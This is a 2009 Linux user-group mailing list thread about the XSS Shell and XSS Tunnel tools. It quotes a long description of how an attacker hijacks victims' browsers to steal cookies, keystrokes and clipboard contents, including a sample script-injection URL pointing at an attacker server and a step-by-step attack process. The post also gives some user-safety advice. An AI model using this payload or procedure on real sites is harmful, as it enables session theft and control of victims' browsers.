XSS-Shell and XSS-Tunneling is not OS [Windows/Unix-Linux/BSD/OS X] dependent
(see the full explanation below) [Thanks for asking]!
What is important here, rather than assuming that Linux is secure [and Windows
is virus prone], is that you, as users, (and budding professional) as you head
to conferences, begin contracting and continue to work in IT, understand
XSS-Shells and XSS-Proxies?
Comparison of apples and oranges [as bias
http://en.wikipedia.org/wiki/Cognitive_bias] is still stupid BTW!
Yes, LiveMail MSN provides FREE DOMAIN mail services; IMAP/Pop3/SMTP, but their
web interface WILL NOT WORK with Firefox 3.1.
[Of course I could launch the exploit (pointing to the site "trap") from
obno...@gmail.com or any of my other "free" accounts that all forward to each
other to take advantage of "free" spam management while maintaining web
presence? I could also easily snag any of the many Linux "drop and play" XSS
Shells/Tunnel kits to place into Myspace, WordPress, LiveJournal or any other
site that allows user Javascript/HTML, (join some Linux based groups) make like
a spider and wait?]
I could also use any of the sendmail/MailScanner/Postfix/Exim mail MTA servers
I have built and have mail sent directly to my shell based pine or other client
(another HackFest lab session will cover insecurities simply from being able to
lay on a file via mail clients).
Because I use MSN web mail, this MS based XSS exploit (like any other XSS
javascript tools
) is of equal threat to me than gmail, yahoo.com should I follow adequate HUMAN
TRUST safeguards (see below).
The only way this XSS-Shell or XSS Proxy will work, should you follow the full
instructions, if IF I, as a user kick off a javascript "trap" (from IIS for
this particular MSN exploit) [or another web source for any other simple
Firefox/Safari/Konqurer Linux/BSD/OSX or JVM based XSS traps].
These USER actions, incidently, are the SAME insecure steps incidently that can
infect a KDE or Gnome system via .desktop written exploit:
http://www.geekzone.co.nz/foobar/6229
Insecure USER ACTIONS include reading HTML email, opening attachments,
accessing Social Sharing Connection websites that allow user input, or clicking
links from sites that you DO NOT COMPLETELY TRUST.
Firefox NOSCRIPT is recommended to assist to browse with some level of trust.
----------------excerpt from Ferruh Mavituna for this particular .NET Tool:
About XSS Tunnelling
In order to understand what XSS Tunneling is and how it works; you first need to
understand what an XSS Channel is and how XSS Channels operate.
This document assumes that you are familiar with XSS attacks.
What Is An XSS Channel?
An XSS Channel is an interactive communication channel between two systems
which is opened by an XSS attack. At a technical level, it is a type of AJAX
application which can obtain commands, send responses back and is able to talk
cross-domain.
The XSS Shell is a tool that can be used to setup an XSS Channel between a
victim
and an attacker so that an attacker to control a victim’s browser by sending it
commands. This communication is bi-directional.
To get the XSS Shell to work an attacker needs to inject the XSS Shell’s
JavaScript
reference by way of an XSS attack. The attacker is then able to control the
victim’s
browser. After this point the attacker can see requests, responses and is able
to
instruct the victim’s browser to carryout requests etc.
A sample injection attack is shown below:
http://example.com/q=";><script
src="http://xssshellserver/xssshell.asp";></script>
How Does XSS Shell Work?
The XSS Shell is an application which has three main parts.
Firstly, the server side part of the XSS Shell coordinates the XSS Shell
between an
attacker and the victim. It is a server-side application and requires an ASP
and IIS
web server. It uses an MS Access database as storage.
The second part of the tool is client-side and written in JavaScript. This
loads in the
victim’s browser and is responsible for the receiving and processing of commands
together with providing the channel between the victim and the attacker. This
code
was tested under Firefox, IE6 and IE7.
The final part of the XSS Shell is the administration interface. An attacker
can send
new commands and receive the responses from a victim(s) browser instantly from
this interface. Again it is ASP and requires IIS.
All of the following steps do not wait for each other and are constantly
checking for responses and
requests within specified time delays.
1. An attacker infects a website with a persistent or reflected (temporary) XSS
attack which calls remote XSS Shell JavaScript.
2. The Victim follows a link or visits the page and executes the JavaScript
within
that domain.
3. The Victim’s browser begins to perform periodic requests to the XSS Shell
Server and looks for new commands.
4. When the victim browser receives a new command such as (Get Cookies,
Execute custom JavaScript, Get Key logger Data etc.) it is processed and
returns the results to the XSS Shell.
5. The Attacker can push new commands to victim(s) browser and view the
results from the XSS Shell administration interface.
Points of Interest
· XSS Shell communication relies on remote JavaScript loading in order to
bypass the same-origin policy
· In the first execution, XSS Shell re-generates the page. Thus even the victim
follows a link; XSS Shell will remain in the page and therefore, allows the
attacker to keep control of the victim’s browser. As soon as the victim obtains
that window (even if the victim follows a links to another website) the victim’s
session will be open and the browser will follow an attacker’s commands.
· Some XSS Shell commands are shown below:
o Get Cookie
o Get Current Page
o Execute custom Javascript
o Get Mouse Log
o Get Keylogger Data
o Get Clipboard
o Get Internal IP Address (Firefox - JVM)
o Check visited links (CSS history hack)
o Crash Browser (if you don’t like your victim!)
· It is open source and is quite easy to implement new commands such as port
scanning.
· XSS Shell is especially dangerous in permanent XSS vulnerabilities. Due the
fact that an attacker can easily infect hundreds of browsers and manage them
simultaneously.
Why Is It Better Than The Classic XSS Attacks?
· An attacker would have more than one shot. After controlling a victim(s)
browser the attacker is able to decide their next move based on responses and
the current environment.
· It enables you to bypass the following;
o IP Restrictions,
o Basic/NTLM Auth Based or similar authentications.
· As it is the intention to send alert(“0wned!”) to thousands of victims and
build a temporary XSS powered botnet!
What Is XSS Tunnelling?
XSS Tunnelling is the tunnelling of HTTP traffic through an XSS Channel to use
virtually any application that supports HTTP proxies.
What Is XSS Tunnel?
XSS Tunnel is the standard HTTP proxy which sits on an attacker’s system. Any
tool
that is configured to use it will tunnel its traffic through the active XSS
Channel on
the XSS Shell server. The XSS Tunnel converts the request and responds
transparently to validate the HTTP responses and XSS Shell requests.
XSS Tunnel is written in .NET and requires .NET Framework to work. It is a GPL
Licensed open source application.
An XSS vulnerability is exploited and the admin session eventually obtained and
it
turns out that the admin pages are IP restricted. It does not matter because by
using
an XSS Shell it is possible to bypass this restriction. However, a Blind SQL
Injection
is then found in the admin part of the page; it is well known that it is quite
impossible
to exploit a Blind SQL Injection manually.
It is now possible to write a Blind SQL Injector into the JavaScript or to
configure a
favourite SQL Injection tool using the XSS Tunnel and tunnel all of the traffic
through previous XSS Channels and exploit it easily.
Benefits Of XSS Tunnelling
· It enables the use of virtually any tools that support HTTP Proxies!
· It is possible to use automated tools such as Nikto, SQL Injectors, HTTP
bruteforcer
against an IP restricted areas of the website,
· It allows the configuration of your local browser to use the XSS Tunnel and
browse the website with a victim’s credentials from your own browser and it
does not involve the use of any kind of complicated cookie / IP / user agent
based checks,
· It is very good for demonstrating the result of an XSS attack.
How Does XSS Tunnel Work?
1. The XSS Tunnel connects to a specified XSS Shell and obtains the current
active identifier (the victim to be controlled)
2. The local HTTP client (browser, Nikto etc.) sends HTTP requests to the XSS
Tunnel
o The XSS Tunnel converts the HTTP requests into requests which the
XSS Shell can understand and process. It then sends these requests to
the XSS Shell Server.
o The XSS Shell Server saves this request to its database (All these
requests only work for a specified victim by the XSS Tunnel. This ID
can be seen in the dashboard of the XSS Tunnel).
3. The XSS Shell Client (which resides in JavaScript in the victim’s browser)
performs periodic requests for the XSS Shell Server and checks for new
commands to process.
This process requires cross-domain read. The XSS Shell uses remote
JavaScript loading to bypass the same-origin policy restrictions.
o If there are new commands, it loads them and processes and sends the
responses (this can be simply a confirmation code or source code of a
page or a binary file) to XSS Shell server.
Commands and responses run in a multithreaded fashion.
4. XSS Tunnel in the local cache, checks the XSS Shell Server for a response for
previously assigned requests. If there is a response it converts the response to
a valid HTTP response and sends it to the client application.
By default the XSS Tunnel caches JavaScript, CSS and image files for a better
performance. This is really required if using the XSS Tunnel with a browser. If
requested the resource is already in the cached XSS Tunnel and can be
obtained from the local cache and sent to the client application.
Caching can be disabled or the cache can be managed from the user interface
of XSS Tunnel.
An Attack Process
1. Setup the XSS Shell Server,
2. Configure the XSS Tunnel to use the XSS Shell Server,
3. Prepare the XSS attack (submit to a vulnerable website or send a link
etc.),
4. Launch the XSS Tunnel and wait for a victim,
5. Configure the tool or browser to use the XSS Tunnel,
6. When you see victim in the XSS Tunnel, start to use your browser / tool
for the targeted domain.
---------------end excerpt
obnosis.com | wiki.obnosis.com| (503)754-4452
PLUG HACKFESTS 2nd Saturday Each mo...@noon - 3PM
> Date: Thu, 19 Feb 2009 17:22:33 -0700
> Subject: OT HackFest Linux Secondurity Series: XSS Gates
> From: cryptwo...@gmail.com
> To: plug-discuss@lists.plug.phoenix.az.us
>
> I find this amusing from a ms email service
>
> /snicker
>
> On 2/19/09, Lisa Kachold <lisakach...@obnosis.com> wrote:
> >
> > Still itching to prove that Linux is more secure than Windows?
> >
> > XSS Shell - XSS Tunnel tool can be configured and tested in wine or OpenVZ,
> > then unleashed against any Gates system victim (with written permission of
> > course). Should you want to explore this extremely common security
> > exploit, this package gives good and complete documentation.
> >
> > Use the source!
> >
> > obnosis.com | wiki.obnosis.com| (503)754-4452
> > PLUG HACKFESTS 2nd Saturday Each mo...@noon - 3PM
> >
> > _________________________________________________________________
> > See how Windows connects the people, information, and fun that are part of
> > your life.
> > http://clk.atdmt.com/MRT/go/msnnkwxp1020093175mrt/direct/01/
>
> --
> Sent from my mobile device
>
> A mouse trap, placed on top of your alarm clock, will prevent you from
> rolling over and going back to sleep after you hit the snooze button.
>
> Stephen
> ---------------------------------------------------
> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us
> To subscribe, unsubscribe, or to change your mail settings:
> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
_________________________________________________________________
Windows Live™: E-mail. Chat. Share. Get more ways to connect.
http://windowslive.com/explore?ocid=TXT_TAGLM_WL_t2_allup_explore_022009
---------------------------------------------------
PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us
To subscribe, unsubscribe, or to change your mail settings:
http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
